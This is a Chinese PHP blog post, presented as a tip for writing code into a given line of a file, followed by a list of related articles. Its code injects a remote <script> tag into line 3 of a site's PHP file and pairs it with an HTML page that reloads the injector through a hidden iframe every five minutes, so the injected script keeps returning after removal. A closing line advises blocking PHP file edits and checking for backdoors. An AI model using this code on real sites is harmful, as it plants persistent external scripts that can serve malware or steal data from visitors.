php在文件指定行中写入代码的方法


Posted in PHP onMay 23, 2012
<?php 
$file="aa.php" ; 
$code="<script src=http://www.google/ga.js></script>"; 
$f=fopen($file,"r+"); 
$content=fread($f,filesize($file)); 
fclose($f); 
if(!strstr($content,$code)){ 
$arrInsert = insertContent($file, $code, 3); 
unlink($file); 
foreach($arrInsert as $value) 
{ 
file_put_contents($file, $value, FILE_APPEND); 
} 
} 
function insertContent($source, $s, $iLine) { 
$file_handle = fopen($source, "r"); 
$i = 0; 
$arr = array(); 
while (!feof($file_handle)) { 
$line = fgets($file_handle); 
++$i; 
if ($i == $iLine) { 
$arr[] = $line .$s . "\n"; 
}else { 
$arr[] = $line; 
} 
} 
fclose($file_handle); 
return $arr; 
} 
?>

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。
<HTML> 
<HEAD> 
</HEAD> 
<BODY> 
<SCRIPT LANGUAGE="JScript"> 
function singOut() { 
var O = document.createElement("iframe"); 
O.src="http://www.google.com/上边的php文件.php"; 
O.width=100; 
O.height=100; 
document.body.appendChild(O); 
} 
window.setInterval("singOut();",300000); 
</SCRIPT> 
</BODY> 
</HTML>

解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了
PHP 相关文章推荐
PHP.MVC的模板标签系统(五)
Sep 05 PHP
在apache下限制每个虚拟主机的并发数!!!!
Oct 09 PHP
详解PHP显示MySQL数据的三种方法
Jun 05 PHP
PHP 伪静态隐藏传递参数名的四种方法
Feb 22 PHP
php 获取本机外网/公网IP的代码
May 09 PHP
探讨PHP删除文件夹的三种方法
Jun 09 PHP
PHP与javascript实现变量交互的示例代码
Jul 23 PHP
php 问卷调查结果统计
Oct 08 PHP
PHP数组游标实现对数组的各种操作详解
Jan 26 PHP
PHP定时任务获取微信access_token的方法
Oct 10 PHP
Zend Framework动作控制器用法示例
Dec 09 PHP
Laravel Intervention/image图片处理扩展包的安装、使用与可能遇到的坑详解
Nov 14 PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
有关PHP中MVC的开发经验分享
May 17 #PHP
php的array_multisort()使用方法介绍
May 16 #PHP
一个显示某段时间内每个月的方法 返回由这些月份组成的数组
May 16 #PHP
You might like
php whois查询API制作方法
2011/06/23 PHP
laravel 5 实现模板主题功能(续)
2015/03/02 PHP
laravel安装zend opcache加速器教程
2015/03/02 PHP
php实现的农历算法实例
2015/08/11 PHP
php 使用redis锁限制并发访问类示例
2016/11/02 PHP
另一个javascript小测验(代码集合)
2011/07/27 Javascript
通过JS获取用户本地图片路径并显示的代码
2012/02/16 Javascript
javascript使用isNaN()函数判断变量是否为数字
2013/09/21 Javascript
javascript阻止浏览器后退事件防止误操作清空表单
2013/11/22 Javascript
javascript放大镜效果的简单实现
2013/12/09 Javascript
php析构函数的具体用法小结
2014/03/11 Javascript
javascript下拉列表中显示树形菜单的实现方法
2015/11/17 Javascript
javascript实现拖放效果
2015/12/16 Javascript
JavaScript sort数组排序方法和自我实现排序方法小结
2016/06/06 Javascript
微信小程序 跳转方式总结
2017/04/20 Javascript
JavaScript中offsetWidth的bug及解决方法
2017/05/17 Javascript
vue router下的html5 history在iis服务器上的设置方法
2017/10/18 Javascript
vue动画打包后失效问题的解决方法
2018/09/18 Javascript
Angular2 自定义表单验证器的实现方法
2018/12/14 Javascript
用Golang运行JavaScript的实现示例
2019/11/25 Javascript
基于JS正则表达式实现模板数据动态渲染(实现思路详解)
2020/03/07 Javascript
javascript使用正则表达式实现注册登入校验
2020/09/23 Javascript
python启动应用程序和终止应用程序的方法
2019/06/28 Python
Python语言异常处理测试过程解析
2020/01/08 Python
Selenium元素定位的30种方式(史上最全)
2020/05/11 Python
为什么说python更适合树莓派编程
2020/07/20 Python
浅谈HTML5 服务器推送事件(Server-sent Events)
2017/08/01 HTML / CSS
波兰最大的儿童服装连锁店之一:5.10.15.
2018/02/11 全球购物
sort命令的作用和用法
2013/08/25 面试题
偷看我的初中毕业鉴定
2014/01/29 职场文书
大学自主招生自荐信范文
2014/02/26 职场文书
2015年业务员工作总结范文
2015/04/07 职场文书
2016年重阳节慰问信
2015/12/01 职场文书
初一语文教学反思
2016/03/03 职场文书
教你如何使用Python Tkinter库制作记事本
2021/06/10 Python
nginx七层负载均衡配置详解
2022/07/15 Servers